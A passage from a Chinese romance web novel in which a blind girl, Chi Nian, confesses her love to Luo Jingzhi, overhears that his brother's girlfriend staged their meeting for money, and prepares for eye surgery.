洛延之有些怀疑,但喜欢这种东西不是他自己可以控制的,谈到这儿,他故意转移话题,问:“你怎么,突然会问起这个?”
池念有些逃避,她不敢袒露自己的心声。
他又问:“难道是,你觉得我哥不喜欢你了?”
“我……”这个问题她还真不知道怎么回答。
“其实,我们不是情侣关系。”
事情已经过去了,她不想因为一个帮忙而一直撒这个谎言。
谎言时间久了,会让她深陷其中无法自拔。
可时间再久,谎言都
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会有被拆穿的一天。
池念不想做这个坏女孩,她想要的是彼此相互喜欢的爱情。
虽然她还不是彻底懂爱,但她知道,感情贵在真诚。
想到这儿,她还是觉得将事情的真相告诉洛延之。
池念的神经几乎是紧绷着的:“那天,洛景之想让我假装他的女朋友,帮他度过洛爷爷的生日宴,我就答应了。”
“所以你们不是男女朋友,只是普通朋友?”
“是。”
她纠结再三,还是想对他说出这份喜欢。
池念自顾自的说着:“其实我和他的故事很简单,更像是某种缘分牵引着,可是他有喜欢的女孩,所以我才想到请你帮忙,你帮我告诉洛景之,我喜欢他。”
“也想让你帮我转告他,我会祝他幸福。”
她说的真切。
洛延之听的认真。
此刻谁都没有注意到门口那道身影。
门口的男人脚步一怔,停在原处迈不开步。
“你喜欢我哥,所以就这么甘心放手吗?”洛延之问。
“是。”
他不知道该说什么:“你……”
从他心里,似乎早就认定池念是他未来的嫂子了。
这是种奇妙的感觉。
“我喜欢他,很喜欢很喜欢,我不知道自己是从什么时候喜欢上他的,可能,是在我们第一次见面,他陪着我去医院的时候开始的。又或许,是在他搬到我家对面的时候,每天朝夕相处照顾我的时候喜欢上他的。”
姑娘边说边露出温柔的笑意:“其实我知道,洛景之就是一个面冷心热的人,他嘴上说自己受伤要我照顾,其实更多的是他照顾我,可是我自己胆小,没有勇气在听到他说明明有喜欢的女孩时,还要对他说喜欢两个字,所以我想拜托你。”
“我没有朋友,这些事也从来没有对你哥哥说起过,我不求什么,只是想告诉他我的心意,这是我对这段暗恋里能做出的最勇敢的事。只要他知道,在某个角落里还有一个人默默喜欢他就够了。”
“洛延之,我希望你转告他,好好对待自己喜欢的女孩,我祝福他们,永远幸福。”
他想替他争取一个机会:“你就没有想过,喜欢一个人是要争取的,不是互相谦让,万一,万一我哥他也喜欢你呢?”
“我曾经也幻想过,如果有一天,我的眼睛好了,是不是就可以站在他的身边了。”她强忍抽泣,“可是我没有资格,我配不上他。”
“曾有过一瞬间,我想过,等我眼睛好了,再决定要不要去追他。”
“可是,在听到他说有喜欢的人时,我彻底放弃了。”
“我这样的人,怎么可能会和他并肩站在一起。”
她真的不自信。
好不容易林霞给她培养出来的自信,在遇到这么优秀的他时,她那一点微弱的自信竟然破碎的连残渣都不剩。
而洛延之已经极力挽回了。
他不知道他们的经历,也没有办法替洛景之做决定。
现在的话,他只能将池念的话转达给洛景之。
“没有别的了吗?”
!!!!
这个声音让池念猛然抬头,她不敢相信身后的声音。
可是辨别声音是她最擅长的事,她知道自己没有认错。
站在她面前的人,就是她刚才说了那么多的倾诉对象——洛景之
他回来了?他竟然回来了?!
30. 30
洛景之站在玄关,手里的钥匙还未来得及装回兜里。
他原本想打招呼,却在听见“喜欢”的那一刻脚步生根。
亮色的灯线从他身后照进来,他的身影被拉的修长,悄无声息的来到池念面前。
他甚至连呼吸都变得很轻,生怕打扰这场她珍藏已久的“秘密”。
——我配不上他
——等我眼睛好了,再决定要不要去追他
——我这样的人,怎么可能会和他并肩站在一起
这样的话想锤子一点点戳进他的胸口。
洛景之垂下眼,睫毛遮住了他翻涌的情绪,他喉结滚了又滚。
原来,她早就把他放进了心里。
原来,她担心的是配不上他,而不是不喜欢他。
原来他想的一切都是错的,这份迟来的喜欢,竟然是这么珍贵。
“你……”她整个人僵住,脸上的血色此刻瞬间褪得干净,“你什么时候回来的。”
她看不见,却能感觉到——
洛景之就在门口,距离她不足五米。
洛景之深呼吸着,他的声音比平时低了几度:“刚到。”
他抬步走近,动作不急不缓,每一步都踩在池念的心跳上。
她无措的像个孩子,双手揉搓着自己的裙角,不知该怎么办。
洛延之看出情况,于是识趣的走出房间,给他们留出单独说话的机会,走时还不忘关上房门。
洛景之停在池念的面前,仅是半臂的距离,就让她紧张到不行。
他伸手,掌心覆盖住她的手背,轻轻捏了捏,声音哑的发紧:“刚才说的,都作数?”
池念脸颊和耳尖红的几乎透明,想抽手逃离却被他握的更紧:“我……你全都听见了?”
“嗯。”他低笑,带着一点得逞的愉悦。
“池念。”他又叫了她全名,语气竟也那么严肃,“我等你这句话,等了好久。”
“你……”
“不要说话,你刚才说了许多,接下来,听我说好吗?”
池念果然乖乖的,没有再说什么。
洛景之掌心温热,可双手也不自觉发紧:“你说你连说出喜欢的勇气都没有,可是你不知道,这样的池念也是我收起锋芒小心守护的珍宝。”
只这一句话。
池念的眼泪不争气的落下来。她读了那么多的故事,却从来不理解暗恋得到回响是种什么感觉,她喜欢的人也喜欢她,让她忍不住感动落泪。
“池念,你不知道你是从什么时候开始喜欢我的,我也不知道,大概,是从见你的第一眼就开始喜欢了吧。”
“洛景之……”
“我在,而且会一直在。”
“你刚才说的话,我都听见了?如果不是这次的无意间听到,我恐怕永远都不会知道,原来你这么喜欢我,原来池念也会有机会属于我。”
洛景之掌心移到她的后脑,悄悄把人按进怀里,下巴搁在她的发顶,像往常一样嗅着她身上好闻的气味。
“我很开心喜欢的人能够这样懂自己,你是我喜欢的人,也是我的知己,我们相处的日子,也是我的暗恋。”
他语气严肃且认真:“池念,我想正式的问你,你愿意做我女朋友吗?”
怀里的小姑娘伸手环住他的腰,然后把脸整个埋进他的胸口,声音闷闷的却十分坚定道:“我愿意。”
洛景之眼眶也微微湿润。
他是如此喜欢她啊。
可他和池念一样,在面对感情的时候同样都缩成了胆小鬼。
可他们不知道,在面对自己喜欢的人时,越爱,越是胆怯。
洛景之将怀里的姑娘抱得更紧,只怕她又反悔似得。
“我好高兴,念念,以后,你就是我的了。”他俯身,额头抵住她的额头,两两呼吸交缠。
“这是真的吗?”池念不敢相信,“我不是在做梦吧?我们真的在一起了,是真的吗?”
洛景之握着她的手,抵在自己的胸口心脏位置,声音低柔的问:“现在真实了吗?我的心脏在为你跳动,这里,装的都是你。”
“我知道,你还是觉得不真实。”他说,“那就让我以后慢慢证明给你看。”
两人呆了很长时间,洛延之从外面端来两倍奶茶进房间。
他甚至都怕打扰他们的好事,整个人都格外小心。
洛延之注意到两人的眼眶有些湿润,心里有种不好的预感。
他们不会真的挑明关系分手了吧?
不对,没有在一起怎么能算是分手呢。
“哥,你们怎么了?”他还是忍不住问,“你们不会真的分手了吧?”
“分什么分,你小子想什么呢?”洛景之呵斥道。
“可你们感觉就像是哭过一样,池念她很喜欢你的,哥,你再想想,遇到这样好的女孩不容易。”
他反倒替他们紧张到不行:“刚才的话你也听到了,就该知道池念有多喜欢你啊。”
洛景之伸手将眼前的姑娘揽在怀里,硬气道:“叫什么池念,叫嫂子。”
洛延之:“???”
-
三天后。
洛延之想好带着宁曼曼来洛家见父母。
他一直对自己的感情没有很大的自信,他不确定自己是不是真的爱宁曼曼。
刚开始认识的她,洛延之很喜欢,她聪明善良,可随着时间越来越久,他似乎渐渐发现,宁曼曼并不是最初像他之前所认识的那样了。
尤其是来到洛家的那一天,她眼神中的贪婪是无法掩盖的。
洛明诚和秦晓兰想最初欢迎池念那般很欢迎宁曼曼。
“你就是曼曼吧,之前就听延之提起过你,今天能见面就都是缘分,别拘束。”洛明诚笑道。
他重视长子,所以对洛景之更多都是严父爱,可同样也不输于对洛延之的管教。
尤其是听说他要带女朋友回家时,脸上的喜悦更是发自内心。
秦晓兰端着一盘水果也热情的迎出来:“快坐快坐,这些水果都是延之挑选的你喜欢吃的,别客气,多吃点。”
“好的,谢谢叔叔阿姨。”她笑的很甜,挨着洛延之坐下。
秦晓兰说:“我时常听延之提起你,你们念的是同一所大学,真的很有缘分,这样也可以经常见面。”
宁曼曼笑着,秦晓兰又接着对洛延之嘱咐,“别光愣着,赶紧给曼曼拿一颗草莓。”
“哦。”洛延之收到命令赶忙行动。
秦晓兰擅长这方面:“曼曼,你想吃什么就吃,以后这臭小子要是哪里让你生气不开心了,你直接跟阿姨说,阿姨绝对饶不了他。”
“延之很好的阿姨,我们相处的很愉快。”宁曼曼积极回应。
他
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们直到现在都没有确认男女朋友关系,可他们彼此似乎都没有太注重关系,而是彼此在对方心里的位置。
洛延之就属于那种,喜欢一个人却想不到要积极追求的那种。
他原也是想借这个机会,让他们更近一点时,他还会不会有那种在感情中觉得奇怪的地方。
应该说,如果他们关系更进一步,他自己的心会不会同意。
几人坐在沙发上聊得正开心时,池念收拾好从房间里走出来,这时,几人被吸引了视线。
池念手里还握着盲杖,呆呆地站在众人面前,她孤立无援,也根本不知道家里会有客人。
小姑娘软绵绵的声音问:“洛伯伯,家里是来客人了吗?”
“啊对,是延之喜欢的女孩来家里做客了。”洛明诚说,“我这一天天不怎么在家,这样大的事情也没来得及告诉你,你不要不开心啊念念。”
“怎么会,这是开心事,我也会为延之感到开心的。”
一家人其乐融融,唯有宁曼曼紧盯着池念久久移不开视线。
她见过她的!
这不就是前段时间洛延之为她出头的那个盲人女孩吗?
宁曼曼疑惑且惊讶的问:“她是……”
洛延之说:“这是我哥的女朋友,池念。”
“所以你那天铁了心要帮她,是知道她是你哥哥的女朋友?”
“是。”
洛延之的回答似乎给她挖了一个坑。
原来是这样,早知道她就不该在大街上说出不管这个闲事的话。
甚至还想转头走人。
宁曼曼现在越想越后悔。
洛明诚看出几人的神态不对,问道:“怎么,你们认识啊?”
“有过一面之缘。”宁曼曼绝望的闭了闭眼。
原来她是洛景之的女朋友,早就知道就该对她好点,这样还能在延之面前说一说我的好话。
真是可惜。
不对。
宁曼曼心头一紧,她好像还做了一件错事。
洛延之解释道:“碰巧我们出去吃饭的时候,遇到嫂子被人欺负,就帮了个忙。”
他这样一说,也勾起了池念的回忆,难怪她刚才听着声音有些耳熟。
洛明诚说:“哈哈,原来是这样啊。”
秦晓兰:“这么一看,还真都是缘分啊。”
几人欢声笑语的场面其乐融融。
直到饭局结束,洛延之本想送她回家,可宁曼曼在收到一条短信后,坚持自己回去,他也没再强求。
秦晓兰还觉得有些不满:“你就让人家女孩子一个人回家?一点也不绅士。”
“不是我不想,我是被拒绝的那个。”
“她不让你送她回家?”
“嗯。”
秦晓兰百思不解:“怎么会呢,我儿子这么优秀,竟然还会被拒绝?”
“这就叫一物降一物。”洛明诚在一旁冷言道,“就是不知道为什么,这姑娘来的时候眼神一直飘忽不定,不知道是太紧张了还是因为别的原因,你们相处的时候多了解了解彼此。”
洛明诚实话实说,和宁曼曼的相处没有和池念相处的那般融洽。
是因为池念是故友的女儿?
他心里猜测,可能事情没有那么简单。
洛明诚说出了洛延之的感觉,他应声道:“知道了爸。”
31. 31
当日,池念忽然觉得自己的眼睛忽暗忽明,意识到自己的眼睛可能出了问题。
所以在宁曼曼走后她也随即出发赶去医院。
起初洛延之执意要求想陪她一起去,可池念不想因为自己的到来而连累到别人,所以就总是拒绝别人的好心。
而有了一次之后,洛延之也明白了她的意思。
即便眼睛看不见,她还是不想给别人制造麻烦。
洛延之也没再执着。
天气到下午逐渐阴下来,池念一个人背好包包就出了门。
“七七。”她唤道。
【你好主人,有什么需要请跟我说。】
“播报一下今天的天气。”
【好的主人。】
【今天最高温度二十二度,最低温度十八度,今天会有小雨,降雨概率百分之九十五,降雨时间大概在下午两点到五点左右,出门记得加衣,远行记得带伞哦。】
走路到公交站还有步行十分钟的路程,她还在想,要不要回去拿上雨伞。
路面上显得潮湿,她用盲杖可以感应出来。
犹豫再三,她还是决定回去带把伞。
池念刚想转身离去,路过一个角落,她隐约听见了一个熟悉的声音。
她悄悄地顺着声音探去。
这个声音是……
她动作放轻,认真听着。
是宁曼曼!
她心想:她不是已经走了吗?
池念对声音格外敏感,她们刚才才见过,她不会认错的。
角落背面的宁曼曼态度快要跟那人撕破脸:“钱我不是已经给你们了,还来找我干什么!”
一个男人声音说:“你是把钱给我们了,但还没有结清呢,我催了你两次都没得到回复,不得亲自过来问问?我们可是都亲眼看见你进了洛家的门,拿点钱出来那不是小菜一碟?”
“我早就说了晚两天,你一张口就要两万,我没有那么多钱。”
“没有那么多钱?你不是已经勾搭上集团小少爷了?可以找他要。”
“我没名没分的人家怎么可能给我这么多钱?你不要忘了,我现在还不是他女朋友。”
“不是他女朋友?”男人趾高气昂,“不是他女朋友你天天跟他卿卿我我?不是他女朋友你接受他的礼物还天天跟人吃饭看电影?不是他女朋友你跟他来见家长?你TM当老子好糊弄是吧?”
男人很明显没有了耐心。
他身后的小弟跟着起哄:“大哥,我看咱也别管那么多了,她既然说没钱,咱们就把她做的那些事全都告诉洛延之,看看这洛家小少爷知道她的所作所为之后还敢不敢要她。”
“就是啊,咱们可有的是办法。”
“同意同意。”
男人得意道:“听到了吧?你最好不要跟我耍什么花样,把我逼急了,我就去告诉洛延之真相。”
他一步步靠近她:“是你自导自演了美女救英雄的戏码,是你一直在欺骗他的感情,目的就是为了顺利嫁进洛家,好从此摆脱你卑贱的身份,好有享不完的荣华富贵!”
男人的话字字句句像把刀刺进她的心里。
听他们这样说,宁曼曼刚才破罐子破摔的态度此刻发生转变。
她模样凶狠的盯着他们:“你……”
可话到嘴边却吐不出几个字。
她虽然气氛,却知道自己也拿他们没有办法。
“你最好给我老实点,乖乖把我想要的交给我,否则,你就等着一无所有吧。”他恶狠狠的说,“我会让你身败名裂!”
“……”
听到他们的对话结束,池念慌手慌脚的尽快离开,好在没有被他们发现。
几名壮汉放下狠话后吊儿郎当的离开。
宁曼曼独自站在原地,呆愣了很久。
她必须尽快凑齐这些钱,否则,真的难保他们不会做出什么对她不利的事情。
宁曼曼欲要离开时,发觉是他们刚才离开的方向,她感到晦气的转身换了个方向。
可刚转身过去,却发现地上有个精致的小物件。
“这是……”
她捡起来认真看着。
宁曼曼觉得眼熟,但一时没有想起来是谁的东西,于是便先将此物收了起来。
另一边。
池念慌慌张张的离开,她深呼吸着大气,生怕被发现什么。
她生平第一次偷听人墙角,竟意外发现这样的事。
刚才的对话被她听的一清二楚。
她脑子里不断的回忆刚才听到的内容,同时也觉得匪夷所思。
怎么会这样?
原来他们认识,是曼曼一手谋划好的。
他们的感情,也是建立在算计的基础上的。
可是这些,我要不要告诉延之,又该怎么跟他说呢?
池念心中更是纠结。
她如果不说,等于眼睁睁看着洛延之落入阴谋算计的感情里,如果说了,他也会因为这段感情感到伤心痛苦。
宁曼曼接近他只是为了钱,只是为了想让自己的身份更加尊贵。
这样的话说给洛延之听,他真的会相信吗?
池念脑子里也没了去医院看眼睛的念头,只是一味地边想边往洛家走。
这件事发生的很突然,她知道自己不能坐视不管。
说和不说,她心里很是纠结。
一路走回去,池念整个人都恍惚着,直到回去洛家后按响门铃,看见开门的人是洛延之时,她才意识到什么。
纠结了一路,她最终的答案还是要亲口告诉他事情的事实。
至少,他作为在一段感情中的受害者,是具有知情权。
洛延之懵懂的问:“嫂子,你怎么了?看上去脸色不太好,是不是生病了?那我得赶紧告诉我哥……”
“不是不是。”池念连声否认,“我没事,你不用打扰他。”
“那是怎么了?”
池念站在门口边,指尖都在颤颤发抖。
她暂时不能让洛景之知道,如果他知道,这件事会被警方接手,他夹在中间也为难。
她也不知道洛延之会怎么看待这件事。
她深吸口气:“延之,你有空吗?我想和你聊聊。”
他目光放空,一时猜不透池念要和他聊什么:“好。”
“是关于宁曼曼的。”
少年愣住:“……”
池念带他走进自己的房间,所有的布置氛围都那样可爱。
在这样一个充满可爱氛围的环境里谈这么严肃的事情,有些……
但她管不了那么多。
“我接下来跟你说的
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事事关重要,所以你做好一点心理准备。”
听她这样说,洛延之也多少预料到她会说什么:“好,你说。”
“我刚才出门的时候,看见宁——”
“念念!”
声音打断她即将要说的话。
随后洛景之从外面走进来:“延之也在啊,你们在聊什么?”
池念疑问:“洛景之?你回来了?”
“你不是说今天要去检查眼睛?”他走到她身边,就要将人带走,“走吧,我陪你去。”
池念萌萌的被他拉走:“你等等,我还有事要跟延之说。”
“回来再说也不迟。”
“洛景之……”
洛延之看着他们这么恩爱,他不明白自己和宁曼曼之间到底缺少什么,可他清楚的知道,他们没有洛景之和池念这么喜欢彼此。
-
洛景之拉着她匆匆走出洛家,马路上车辆来往,他们这样郎才女貌的身形似乎更容易引起旁人的注意。
他们的步伐走的很快,快到池念几乎跟不上他。
小姑娘被他拉着手腕不顾一切的往前走,她手里的盲杖握在胸前,以免伤到别人。
池念吃力地喊:“洛景之,你慢点,你怎么了?”
“……”
听她这样问,洛景之心里似乎闪过一丝理智,他的脚步骤然停止。
马路旁的阴凉人行道上,他们一前一后的站着,洛景之背对着她,手里的力度渐渐松散,直至再也抓不住她。
池念大口呼吸着,忍不住弯腰喘息:“你怎么了?是有什么事发生吗?”
“你是不是傻。”他身子僵硬,“我都这样对你了,你还问我怎么了。”
洛景之缓缓转身,但眼眸中似乎有着为难:“看不出来吗,我在吃醋。”
“吃醋?”池念瞪大眼睛,根本想象不出来他这样的人竟然也会吃醋,“是延之?”
见他不作答,那想来就应该是了。
“他是你弟弟。”而后又补上一句,“亲的。”
“那又怎么样,他也是男的。”
她怎么突然觉得他有点可爱:“好啦,傻瓜,就算是所有男人都靠近我,我也还是只会,喜欢你一个人。”
洛景之眼眸微缩,目光看的直呆呆的。
“只喜欢你一个人,这样好不好。”她笑的甜,是甜进心里的那种,“下次就别再吃别人醋啦。”
“池念。”
“怎么啦。”
“你说的,不准反悔。”他看着她,眼里心里都只有这一个人,“这辈子,你只能喜欢我。”
“不悔。”
洛景之做什么事都不喜欢拐弯抹角,他高兴就是高兴,难过就是难过,吃醋了就必须要让她看出来,看不出来就说出来,总之一定要达到自己的目的。
而这点,池念也觉得可爱。
“刚刚我走那么快,是不是累着你了?”
“没有。”
他远远瞧了瞧远方,又道:“你等等,前面有家超市,我去给你买瓶水。”
“嗯。”
“你在这儿乖乖等我,不要乱跑。”
“好,我又不是小孩子。”
洛景之本想走开,但被她这句话吸引回来,单手揉了揉她的头发:“小孩子也不能乱跑。”
32. 32
池念一个人在原地等他回来。
突然才从刚才的甜蜜中回过神来,她刚才本来就是想告诉洛延之真相的,这样一来,她……
她本以为告诉洛景之后会牵扯警方,这无异于把事情复杂化,后来又想,或许他会帮忙想一个好的解决办法。
洛延之是他的亲弟弟,总不能不帮他。
或许,告诉洛景之,是当下比较妥善的处理。
池念用盲杖探着路,乖乖靠在小路一边,以免妨碍到路人。
可即便是这样,也仍挡不住恶意的袭来。
一名横着走路的男子,瞧着她长得可爱,便忍不住往池念身上撞了一下,小姑娘被吓得一机灵,下意识往身后退去。
而男人此刻才发现她眼睛看不见,于是假意装作生气的模样:“哪来的小瞎子,不知道走盲人道吗?!”
池念当真认为对方是不小心,又见对方脾气冲,便不想再惹事,只好一个劲的道歉:“对不起先生,我不是故意的,我眼睛看不见,确实不是有意的。”
她孤立无援的站在男人面前,像个被家长训诫的孩子。
池念以前不是没有遇到过这样的事,但本着好好赔礼道歉的态度,对方的生气也会缓和些。
她和正常人总有些差距,就总想着息事宁人。
就在此刻,一个清脆的声音穿过人群:“眼瞎的人是你吧,路这么宽,偏偏往人身上撞?”
池念顺着声源感应。
来人是他。
洛景之脾气臭,刚才的话豪横的回怼,一点都不客气。
“你是谁,多管什么闲事?”男人硬气道。
他缓缓逼近他,咬着后槽牙威逼利诱:“我警告你,我脾气不好,你要是敢胡乱招惹我女朋友,老子腿给你打折。”
“你……你TM有什么好牛逼的?不就是个女人吗,谁稀罕。”
男人心里开始打颤,嘴上虽然骂骂咧咧的撑着场面,实则心里害怕的要死。
人善被人欺,这句话是有一定道理的。
男人边骂边走,轻易不敢招惹他。
洛景之来到池念面前,手里的水也没递给她,脸上的不悦显而易见。
他又像刚才那样抓起她的手腕,拉着人就走。
池念更加不明所以,这次总不能还是因为吃醋吧?
虽然对方也是个男人,但他明显就是在惹事,也不能吃他的醋吧?
她有时候是真搞不懂这个男人。
池念被迫跟着他的脚步,喊道:“你要带我去哪儿?”
他道:“我车在前面。”
而后,头也不回的继续拉着她走。
池念不知道他为什么生气,但还是可以感觉出来这生气的氛围。
开车一路上两人都没怎么说话,尤其是池念,她更不敢随便招惹他。
就像刚才他话里的警告,她也是鲜少见洛景之会这样生气。
车子开到医院,他的步伐此刻才慢了些,似乎考虑到她的眼睛看不见,他放慢了速度。
“洛景之,我虽然不知道你为什么生气,但我知道,你是习惯有什么事都说出来的性格,刚才你开心也告诉我你是吃醋,所以现在也一样,你为什么生气也可以告诉我的。”
她在他身后话语不绝:“是不是我刚才和那个人说了话你不开心?”
他还是不说话,一个劲的拉着她往里面走去。
小姑娘当他是默认了:“如果真是这样,那我下次不和他说话了好不好。”
“但是碰到了人应该要道歉的,我可能还得跟他说话。”
她还真的认真想了想:“我答应你,以后对别的异性,除了礼貌问好和道歉,不会多说别的什么。”
池念感觉被他拉着走了好一会儿,她看不见,根本不知道被洛景之带到了哪儿。
跟他说话他也不回答,就这样听她一个人说话也真的很无聊。
她猜不透他的心思。
“洛景之,你就别生气了,我刚刚答应你的我一定会做到——”,
剩下的话还未说出口,他火热的唇咬住她的,洛景之加深这个吻,每一次,每一次都能沉浸在她的气息中。
他将人揽在怀里,迫切的想要抓回往身后躲的小兔子。
她的唇很柔软,带着雨水的冰凉感,很快却被他的温度融化。
他扯着她走到医院的步行梯通道,不顾所有的和她交缠。
两人的呼吸加重,变得火热,呼吸交缠,仿若鱼儿在浅水区扑腾。
洛景之掌心移到她的后脑,掌控着她的一切,指腹也摩擦着她的发根,亲吻着她的全部。
他手背贴着冰凉的墙面,将掌心的姑娘就这样护着。
池念的耳根红的发烫,每次被他这么对待的时候,她总是控制不住这样的自己。
楼道内时不时的传来脚步声,许是其他楼层的人也在走这步行梯。
小姑娘压抑着内心的紧张,每每听见声音,她总是下意识去退开他,可总是被洛景之用更大的力气制服。
洛景之将她堵到医院楼梯转角处拥吻,暧昧的气息充斥在整个楼道,他声音哑的极其妖孽:“被凶了也不知道喊人?”
语气中略带着几分宠溺的凶。
池念心跳的厉害,四肢瘫痪,身体被洛景之搀扶着。
她脸颊已经红透,将整张脸埋进他的胸口,呢喃道:“他也没说错,我本来就……”
那个“瞎”字还没说出口,就引起洛景之的不满。
可想起他们初见时,他也是这样喊她的。
或许猜到她心里的想法,洛景之打断说:“你是我的,小瞎子也只能我叫。”
“……”
她愣了愣,心里吐槽,干嘛这么霸道。
洛景之一向在事情上掌握主导权,无论是工作还是生活。
可是面对池念,他却略次出于被动。
他将她抵在墙上,低声说:“池念,要不要,再亲一会儿。”
这是什么不要脸的词汇?
池念更不知道该怎么回答,只是一味地拒绝:“不要,我还要去检查……唔——”
没等她同意或者拒绝,洛景之这次要在她这里掌握主权。
池念经受不住他这样的亲吻,她的腿好软,快要站不住了。
她下意识去抓住他的腰间衣衫,指尖微微发白。
他的吻从唇角移到耳垂,再移到颈侧,像是盖章,一寸不落。
好似过了很久,洛景之才恋恋不舍的分开。
他嘴角边还湿漉漉的,像是什么恶劣的禽兽。
洛景之笑着,眼神中满足的看着眼前的姑娘,很是爱慕:“今天先到这儿,不能吓着
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我家姑娘,改天继续。”
继续?
还要继续?
“我要走了。”她借着眼睛微弱的光亮慌忙的逃离现场。
好不容易他才停下,现在不走恐怕是走不了了。
这样的事,她从来没有经历过,也没有想到,和人接吻会是这样的感觉。
冰冰凉凉的,像是吃了颗草莓,甜甜的。
出了步行梯通道,两人一前一后的走在走廊里。
洛景之笑着跟上她的步伐,小姑娘有些害羞的不敢看他。
她不知道为什么,明明不是第一次亲了,可每次都会这么紧张。
“怎么了?还不跟我说话了。”洛景之悠闲地在她身后跟着,她去哪儿他就跟到哪儿,“念念,我真的就是一时没忍住,你就大人有大量,原谅我这次吧,好不好?”
“原谅你也行,那你答应我一件事。”
“好,你说。”
“下次——”她脸颊红晕,后面的话吞吐很久才道出,“不准咬我耳朵。”
听她这样说,洛景之脸上满是喜悦。
这代表什么?
代表除了咬耳朵,其他事情还是可以做的!
至少,他是这样认为的。
“好。”
-
这家医院她已经来过很多次了。
以前是林霞跟着一起来,现在基本上是她自己过来。
林霞前几天才转院过来这边,一是她对这家医院也熟悉,而来也能时常过来看看。
两人并肩走着,穿过走廊,转角时,池念突然想起一件事。
她刚才本就打算跟他说,但被洛景之那样亲了之后脑子里一片空白。
池念脚步骤然停下,她拉着他:“有件事我本来想告诉延之,但是我想了想,还是先跟你商量一下。”
他被她拉住的突然:“又是洛延之,那小子怎么了?”
“不是他,是他的女朋友,宁曼曼。”
“宁曼曼?”
他细细琢磨着。
对于这个人,洛景之只是听说过,毕竟他还亲自去打探过洛延之的女朋友。
但只是知道她的存在,并没有和她接触过。
“是。”池念说,“今天你不在家,延之带着他的女朋友来见了洛伯伯和洛伯母,可就在曼曼走后不久,我也跟着出门,因为今天预约了要来医院检查眼睛,后来我就跟着后面,想要走到马路站牌那里去坐公交。然后就……”
她迟疑了一会儿。
见她这样,想到这件事也不是小事。
洛景之将她带到走廊一侧的座椅上休息:“你先坐下慢慢说。”
他随后又问:“然后怎么了?”
“我不小心听到了他们的谈话,是曼曼和几个男人的谈话。”她说着,“我知道偷听别人讲话这样的行为不好,可事情已经被我听到了,既然是不好的事,我觉得还是有必要告诉你。”
“他们说了什么?”
“其中有一个男人说,这所有的一切都是曼曼设计的阴谋,包括她和延之的相识和交往,她的目的就是嫁入洛家,想要享受荣华富贵的生活。”她继续说,“听谈话的意思,这些男人好像是曼曼为了达成自己计划请他们来演的一场戏,现在戏演完了,他们应该是来找曼曼索要酬金的。”
“……”
33. 33
“我不知道这是不是真的,本来我是想告诉延之的,可是又怕他伤心,所以还是先告诉你。”
她担心道:“如果是真的,我们可以想想办法,如果是假的那就更好,说不定,也有可能是曼曼被那群人威胁,迫不得已才这么做的。”
洛景之对她确实是很佩服,这样的一个小姑娘,没经历过什么滔天风浪,就能仅凭一段对话,逻辑清晰的简述出事情的重要所在。
确实不简单。
他也越来越相信她是池国霖的女儿。
洛景之勾了勾她的鼻尖:“笨蛋,别把所有人都想象的那么好,虽然好人要比坏人多,但这个世界上还存在偶然。”
池念问:“你的意思是,这有可能是曼曼一手策划的?”
“你跟她很熟?”
“就见过一两面。”
“那你还曼曼曼曼叫的那么亲热。”他吐槽完之后又继续说,“事情的真相到底是不是这样,那得需要我了解之后才能给出答案。”
“可是,我们该怎么知道真相呢?”姑娘天真的问。
“这件事就交给我,你不用插手,别人问起来你就当做不知道。”
“那好吧。”
这件事既然告诉了洛景之,她想,他会妥善处理的。
如果这件事交给她,她或许真的不知道该怎么解决。
医院走廊里的病人和家属来来往往,洛景之扶她起来,继续往前走。
“让一让!闪开一条路!”
“病人失血太多,必须立即送往抢救室抢救!”
“好,我去通知主治医生。”
“赶快!”
面对这样紧急的时刻,所有人都自觉在走廊让出一条路来。
池念借助他的手站起身,刚走到过道中间时,迎面便被医生推着需要抢救的病人朝他们冲来。
这速度很快,争分夺秒,是在和死神抢命。
眼瞧着车床刹不住车就要撞向他们,池念看不见,反应迟钝,这一幕被洛景之看在眼里。
他眼疾手快,一把环抱着她冲到对面,两人纷纷落在对面的座椅上。
“池念,你没事吧?”
“没事,刚刚,我是差点被撞上吗?”
“嗯,下次注意点,听到着急的声音就要提高点警惕懂不懂。”
“我知道啦。”
对于池念,他总是有足够的耐心。
这样的“危险”让洛景之更加放心不下她。
在他的陪同下,两人一起来到诊治医生的就诊室。
池念礼貌敲门进去。
那医生正在整理着什么,见是池念,她笑道:“你来啦。这么快就到时间了吗?”
小姑娘坐到女医生对面:“是啊。”
医生温和道:“最近感觉怎么样?眼睛有没有不舒服?”
“没有,还是和之前一样,没什么感觉。”
“嗯,你的眼睛恢复的很不错,我们可以为您安排手术,详细情况我之前就和你说了,需要你在这里签个字。”
“好,我相信您医生。”
她的情况早在很久这位医生就知道了,这段时间一直是这位医生看。
“基于你的情况不同,家属也没办法陪在身边,这份手术协议就只能由你本人亲自签字了,我需要跟你提一下,你了解一下就好。”
“好。”
她早就想这样了。
这样不管手术成功与否,别人都不会自责。
医生找出那份协议,递到她手里。
而后忽然注意到她身后的人:“你好,你是池念的……”
“我是她男朋友。”
“男朋友?”她得意道,“上次不是怎么都不承认吗?”
“……”
哈?
什么意思?
对方这是认出他来了?
这么久了也能认出他来?
洛景之有些怀疑。
但回想起上次陪她来的时候,自己死活否认两人的关系时,又觉得没必要再纠结这些了。
她刚想离开,又被医生叫住:“还有,池念。”
“怎么了?还有事吗医生?”
她以为对方是忘了什么还要嘱托。
医生道:“你脖子这里有些红的发紫,要不要处理一下?”
脖子?脖子怎么了?
她还在纳闷,忍不住抬手朝她指的位置摸了摸。
可后知后觉到,这不就是刚才……
想起在楼道里发生的事她就觉得脸红。
“不用啦,过几天就没事啦,谢谢您。”
放下这句话,没等医生回应,就拉着洛景之匆匆出了诊室。
小姑娘本就脸皮薄,被人这样一问,就更不知道该怎么办了。
出了诊室,池念一股脑的走在前面,手里的盲杖不断敲打着探路,根本不等后面的洛景之。
他当然知道她为什么走这么快,但还是藏不住眼角的笑意:“怎么了,生气啦?”
“为什么生气?”
“难道就因为我们刚才的事被医生发现了?”
“洛景之!”池念生气的看着他,“你明知故问!”
“怎么啦。”他笑声止不住。
要知道,生气起来的小兔子可是会咬人的,但眼前这只不会咬人的兔子,生气起来就是奶萌奶萌的模样,除了可爱还是可爱。
“你说,兔子急了真的会咬人吗?”他用身高打压她,掌心宠溺的揉搓着她的小脑袋。
“不想理你了。”
“我觉得会,你觉得呢?”
“才不要跟你说话。”
“我错了,念念。”
“走开。”
“下次我换个地方好不好?”
“……”
-
跟医生约定好时间,池念是下午两点开始的手术。
这是她第一次这么独立的去面对手术的进行,之前都有林霞一起陪着,现在,她要独自去面对。
